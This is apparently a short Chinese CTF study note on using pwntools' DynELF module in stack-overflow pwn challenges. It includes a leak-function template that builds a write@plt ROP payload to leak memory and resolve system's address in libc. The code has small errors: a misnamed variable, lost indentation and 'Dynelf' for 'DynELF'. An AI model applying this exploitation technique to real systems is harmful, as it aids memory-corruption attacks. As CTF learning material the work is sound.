之前做题时遇到过Dynelf模块,当时不太理解,最近有些看了大佬的一些博客,解开了当时一部分的疑惑。
在Pwn题目中,有些栈溢出的题目没有给出后门函数和libc文件,这个时候就需要用到Dynelf这个模块去泄露出目标函数的地址。
Dynelf模块需要两个参数,一个是leak函数,另一个是elf文件。
leak函数的模板:
def leak(address):
payload=padding
payload+=pack(write_plt)+pack(start_add)+pack(1)+pack(address)+pack(4)
#这里相当于write(1,address,4)再加上一个返回地址,返回地址可以是start函数或是其他的
#函数要保证leak函数的可复用性。
p.send(payload)
data=p.recv(4)
print "%#x = > %s"%(address,(data or '').encode('hex'))
return data #到这里就已经完成了leak函数的编写
d=Dynelf(leak,elf=ELF('./pwn'))#Dynelf模块的初始化,pwn为二进制文件的名字
system_address=d.lookup('system','libc')#查找system函数的地址
print "system's address is" + hex(system_add)#将system函数的地址打印出来
接下来就可以继续构造我们ROP链了,这里补充一下,最好利用的函数还是write函数,可以控制输出的字节,如果是puts就要想办法把末尾的’/n’去掉
dynelf模块常用于在有充足的栈溢出空间时去泄露libc基址